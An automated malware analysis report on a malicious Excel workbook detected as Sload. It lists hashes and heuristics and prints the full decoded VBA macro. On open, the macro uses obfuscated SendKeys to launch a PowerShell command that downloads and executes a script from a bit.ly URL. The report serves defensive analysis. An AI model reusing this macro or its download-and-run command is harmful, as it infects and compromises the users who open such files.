Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2b848d3a39bc6f0d…

MALICIOUS

Office (OOXML)

11.7 KB Created: 2021-04-14 19:18:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: 1791c8a38e3c4dd0d4bc03db9aa37485 SHA-1: f8b36436809b0115cd700f6098fcc4665095d329 SHA-256: 2b848d3a39bc6f0d4685d0d6de76579d6c5c5cd67edfb6d5d60654aa2d6f6396
270 Risk Score

Heuristics 6

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    hhteuuva = "powerShell -NoExit -command ""IEX {(}New-Object Net.WebClient{)}.DownloadString{(}'https://bit.ly/2QndWbp"
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bit.ly/2QndWbp In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1400 bytes
SHA-256: ff075053cafb16717226a4f7733f0a95b4a6c520ae75863354f66892ad83b2c5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error Resume Next
Application.SendKeys fnvcfanljtbk("5e") & fnvcfanljtbk("7b6573637d")
Application.Wait (Now() + TimeValue(fnvcfanljtbk("30") & fnvcfanljtbk("303a30303a3031")))
Dim hhteuuva As String
hhteuuva = "powerShell -NoExit -command ""IEX {(}New-Object Net.WebClient{)}.DownloadString{(}'https://bit.ly/2QndWbp"
Application.SendKeys hhteuuva
Application.Wait (Now() + TimeValue(fnvcfanljtbk("30303a3030") & fnvcfanljtbk("3a3033")))
Application.SendKeys fnvcfanljtbk("7e")
End Sub
Private Function fnvcfanljtbk(ByVal pseqwoxsqqky As String) As String
Dim rxrqhakounqm As Long
For rxrqhakounqm = 1 To Len(pseqwoxsqqky) Step 2
fnvcfanljtbk = fnvcfanljtbk & Chr$(Val("&H" & Mid$(pseqwoxsqqky, rxrqhakounqm, 2)))
Next rxrqhakounqm
End Function


Attribute VB_Name = "Blad1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: 8dd8d9710fbd2b10a6c98f928aaa9a9c13c985a037831b24fc7ed90bcd48e11b
Detection
ClamAV: Xls.Malware.Sload-7135989-0
Obfuscation or payload: unlikely